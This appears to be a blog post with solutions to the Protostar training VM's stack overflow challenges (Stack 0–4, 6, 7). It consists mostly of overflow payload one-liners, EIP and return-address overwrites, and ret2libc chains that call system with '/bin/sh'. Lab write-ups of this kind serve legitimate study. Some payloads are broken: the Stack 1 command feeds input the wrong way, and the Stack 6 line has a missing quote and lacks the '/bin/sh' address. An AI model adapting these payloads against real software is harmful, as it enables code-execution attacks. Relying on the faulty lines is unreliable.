Protostar - Stack Exploits

Protostar Solutions : 

[*] Stack 0 : 

The goal of this challenge is to modify the value of the variable modified



[*] Payload => python -c 'print "A"*200' | ./stack0


[*] Stack 1 : 

The goal of this challenge is to modify the value of the variable "modified" to 0x61626364



[*] Payload => $(python -c 'print "A"*64+"dcba"') | ./stack1


[*] Stack 2 : 

The goal of this challenge is to modify the value of the variable "modified" to 0x0d0a0d0a using the environment variables techniques



CMD ==> export GREENIE=$(python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"')

[*] Payload => ./stack2


[*] Stack 3 : 

Now that we are comfortable with overwriting local variables on the stack, this example challenges you to redirect the execution flow. The executable includes a function win() which is not normally called at this address:


user@protostar:/opt/protostar/bin$ objdump -D stack3 | grep win

08048424 <win>:

next step is to overwrite the EIP with this address:

user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed


[*] Stack 4 : 

Instead of overwriting a function call, we'll be overwriting a return address.  When the function exits, it pops the current stack frame off and returns the saved frame pointer, so we need only overflow the address immediately following EBP.

user@protostar:~$ objdump -d stack4 | grep win
080483f4 <win>:
user@protostar:~$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4 
code flow successfully changed
Segmentation fault
user@protostar:~$ 


[*] Stack 6 :

  • address of system: 0xb7ecffb0
  • address of exit: 0xb7ec60c0
  • address of "/bin/sh": 0xb7fb63bf

cat <(python -c "print 'a'*80 + \xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7'") - | ./stack6

[*] Stack 7 : 


Just ret to another ret!


  • address of system: 0xb7ecffb0
  • address of exit: 0xb7ec60c0
  • address of "/bin/sh": 0xb7fb63bf
  • address of 'ret' instruction: 0x08048553
cat <(python -c "print 'a'*80 + '\x53\x85\x04\x08' + '\xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7' + '\xbf\x63\xfb\xb7'") -| ./stack7

Commentaires

Posts les plus consultés de ce blog

Excel 4.0 macro Trojan Downloader

TROJAN AGENT TESLA – MALWARE ANALYSIS

{ UIUCT#2017 } - REV 350P - ARE WE OUT OF THE WOODS YET?